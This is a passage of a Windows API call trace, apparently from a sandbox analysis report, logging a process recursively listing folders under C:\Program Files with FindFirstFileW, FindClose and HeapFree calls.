ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.529] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.529] GetProcessHeap () returned 0x550000 [0196.529] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.530] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.530] GetProcessHeap () returned 0x550000 [0196.530] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26360e0 | out: hHeap=0x550000) returned 1 [0196.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.533] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.533] GetProcessHeap () returned 0x550000 [0196.533] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.533] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.533] GetProcessHeap () returned 0x550000 [0196.533] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26360e0 | out: hHeap=0x550000) returned 1 [0196.535] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0196.535] GetProcessHeap () returned 0x550000 [0196.535] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0196.535] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0196.535] GetProcessHeap () returned 0x550000 [0196.535] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0196.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdb2dec20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb2dec20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0196.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0196.536] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0196.536] GetProcessHeap () returned 0x550000 [0196.536] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0196.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0196.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.538] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.539] GetProcessHeap () returned 0x550000 [0196.539] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.540] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.541] GetProcessHeap () returned 0x550000 [0196.541] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.542] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.543] GetProcessHeap () returned 0x550000 [0196.543] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.544] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.545] GetProcessHeap () returned 0x550000 [0196.545] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.546] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.547] GetProcessHeap () returned 0x550000 [0196.547] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.548] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.549] GetProcessHeap () returned 0x550000 [0196.549] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.550] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.550] GetProcessHeap () returned 0x550000 [0196.550] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.552] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.552] GetProcessHeap () returned 0x550000 [0196.552] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.553] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.554] GetProcessHeap () returned 0x550000 [0196.554] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.555] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.556] GetProcessHeap () returned 0x550000 [0196.556] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.558] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.558] GetProcessHeap () returned 0x550000 [0196.558] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.559] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.560] GetProcessHeap () returned 0x550000 [0196.560] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.561] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.562] GetProcessHeap () returned 0x550000 [0196.562] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.563] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.564] GetProcessHeap () returned 0x550000 [0196.564] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.565] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.566] GetProcessHeap () returned 0x550000 [0196.566] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.566] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.567] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.568] GetProcessHeap () returned 0x550000 [0196.568] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.568] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.569] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.101] GetProcessHeap () returned 0x550000 [0197.101] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.102] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.103] GetProcessHeap () returned 0x550000 [0197.103] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.103] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.103] GetProcessHeap () returned 0x550000 [0197.103] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0197.104] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.105] GetProcessHeap () returned 0x550000 [0197.105] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.105] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0197.106] GetProcessHeap () returned 0x550000 [0197.106] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0197.107] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0197.107] GetProcessHeap () returned 0x550000 [0197.107] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0197.108] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0197.108] GetProcessHeap () returned 0x550000 [0197.108] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26360e0 | out: hHeap=0x550000) returned 1 [0197.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0197.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0197.109] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0197.110] GetProcessHeap () returned 0x550000 [0197.110] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0197.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0197.111] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0197.111] GetProcessHeap () returned 0x550000 [0197.111] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0197.111] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0197.111] GetProcessHeap () returned 0x550000 [0197.111] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26360e0 | out: hHeap=0x550000) returned 1 [0197.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, 